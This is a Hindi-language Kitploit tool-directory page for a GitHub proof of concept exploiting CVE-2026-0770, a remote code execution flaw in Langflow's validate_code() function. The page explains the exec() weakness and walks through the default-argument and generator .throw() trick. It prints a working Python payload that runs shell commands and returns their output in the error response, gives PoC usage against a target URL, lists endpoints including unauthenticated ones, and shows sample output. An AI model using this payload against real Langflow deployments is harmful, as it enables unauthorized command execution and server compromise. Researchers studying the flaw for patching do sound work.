Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/affix/cve-2026-0770-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरिमोट एक्सेस ट्रोजन
GitHubaffix/cve-2026-0770-poc

CVE-2026-0770-PoC

# CVE-2026-0770 के लिए प्रूफ ऑफ कॉन्सेप्ट - Langflow रिमोट कोड एक्ज़ीक्यूशन

रिपॉजिटरी देखें
6186 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-0770 - Langflow रिमोट कोड निष्पादन

सारांश

Langflow में src/lfx/src/lfx/custom/validate.py में स्थित validate_code() फ़ंक्शन में एक गंभीर रिमोट कोड निष्पादन भेद्यता है। यह फ़ंक्शन सैंडबॉक्सिंग के बिना उपयोगकर्ता-आपूर्ति किए गए Python कोड को निष्पादित करने के लिए exec() का उपयोग करता है, जिससे सर्वर पर मनमाना कमांड निष्पादन संभव हो जाता है।

प्रभावित संस्करण

  • Langflow नवीनतम (7 फ़रवरी 2026 तक)

अन्य CVE

संबंधित फ़ंक्शन और एंडपॉइंट में समान भेद्यताएँ पहचानी गई हैं:

  • CVE-2026-0772
  • CVE-2026-0771
  • CVE-2026-0769
  • CVE-2026-0768
  • CVE-2026-0767

भेद्यता विवरण

validate_code() फ़ंक्शन उपयोगकर्ता-आपूर्ति किए गए कोड को पार्स करता है और exec() का उपयोग करके फ़ंक्शन परिभाषाओं को निष्पादित करता है:

root@kitploit:~
# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        exec(code_obj, exec_globals)  # <-- मनमाना कोड निष्पादन

exec_globals संदर्भ में importlib और Python बिल्टिन तक पहुँच शामिल है, जिससे हमलावर खतरनाक मॉड्यूल (os, subprocess, socket) आयात कर सकते हैं और मनमाना सिस्टम कमांड निष्पादित कर सकते हैं।

भेद्य एंडपॉइंट

* जब AUTO_LOGIN=true (डिफ़ॉल्ट कॉन्फ़िगरेशन) होता है तो प्रमाणीकरण को बायपास किया जा सकता है

अन्य भेद्य फ़ंक्शन

validate.py में निम्नलिखित फ़ंक्शन भी असुरक्षित exec() का उपयोग करते हैं:

शोषण

जनरेटर थ्रो ट्रिक

validate_code() फ़ंक्शन केवल फ़ंक्शन परिभाषाओं को निष्पादित करता है, फ़ंक्शन कॉल को नहीं। आउटपुट एक्सफ़िल्ट्रेशन के साथ कोड निष्पादन प्राप्त करने के लिए, हम डिफ़ॉल्ट तर्कों के लिए Python के मूल्यांकन क्रम का शोषण करते हैं।

मुख्य अंतर्दृष्टि: डिफ़ॉल्ट तर्क अभिव्यक्तियों का मूल्यांकन फ़ंक्शन परिभाषा समय पर किया जाता है, फ़ंक्शन कॉल के समय नहीं।

root@kitploit:~
def foo(x=print("I execute immediately")):
    pass

हालाँकि, हमें HTTP प्रतिक्रिया के माध्यम से आउटपुट एक्सफ़िल्ट्रेट करने की आवश्यकता है। एंडपॉइंट प्रतिक्रिया बॉडी में त्रुटियाँ लौटाता है, इसलिए हमें अपने आउटपुट वाला एक अपवाद उठाने की आवश्यकता है।

समस्या: raise एक स्टेटमेंट है, एक्सप्रेशन नहीं, इसलिए इसे सीधे डिफ़ॉल्ट तर्क में उपयोग नहीं किया जा सकता।

समाधान: जनरेटर के .throw() विधि का उपयोग करें, जो एक अपवाद उठाता है और एक एक्सप्रेशन है:

root@kitploit:~
(_ for _ in ()).throw(Exception("output here"))

यह एक खाली जनरेटर बनाता है और तुरंत एक अपवाद फेंकता है। कमांड आउटपुट कैप्चर करने के लिए lambda के साथ संयुक्त:

root@kitploit:~
def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass

निष्पादन प्रवाह:

  1. exec() फ़ंक्शन परिभाषा चलाता है
  2. डिफ़ॉल्ट तर्क _=... का तुरंत मूल्यांकन किया जाता है
  3. subprocess.run() कमांड निष्पादित करता है
  4. Lambda परिणाम प्राप्त करता है और जनरेटर .throw() को कॉल करता है
  5. कमांड आउटपुट के साथ अपवाद उठाया जाता है
  6. validate_code() इसे पकड़ता है और प्रतिक्रिया में त्रुटि लौटाता है

उपयोग

root@kitploit:~
python poc.py --target http://localhost:7860 -c "id && whoami && hostname"

विकल्प

फ़्लैगविवरण
-t, --targetलक्ष्य URL (आवश्यक)
-c, --commandनिष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id && whoami)
-k, --tokenJWT टोकन (वैकल्पिक, डिफ़ॉल्ट रूप से ऑटो-लॉगिन का उपयोग करता है)

उदाहरण आउटपुट (Docker कंटेनर langflowai/langflow:latest से - 7 फ़रवरी 2026)

root@kitploit:~
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567

संदर्भ

  • Langflow GitHub: https://github.com/langflow-ai/langflow
  • भेद्य फ़ाइल: src/lfx/src/lfx/custom/validate.py
टूल डाउनलोड करें
एंडपॉइंटप्रमाणीकरणहमला वेक्टर
POST /api/v1/validate/codeआवश्यक*प्रत्यक्ष कोड सबमिशन
POST /api/v1/custom_componentआवश्यक*घटक परिभाषा में कोड
POST /api/v1/custom_component/updateआवश्यक*घटक अद्यतन में कोड
POST /api/v1/webhook/{flow_id}कोई नहींकोड घटकों के साथ फ़्लो
POST /api/v1/build_public_tmp/{flow_id}/flowकोई नहींसार्वजनिक फ़्लो निष्पादन
फ़ंक्शनपंक्तिविवरण
validate_code()66उपयोगकर्ता कोड को मान्य करता है
eval_function()140फ़ंक्शन स्ट्रिंग का मूल्यांकन करता है
execute_function()182मनमाने फ़ंक्शन निष्पादित करता है
create_function()227कोड से फ़ंक्शन बनाता है
create_class()241-442prepare_global_scope() और build_class_constructor() के माध्यम से क्लास बनाता है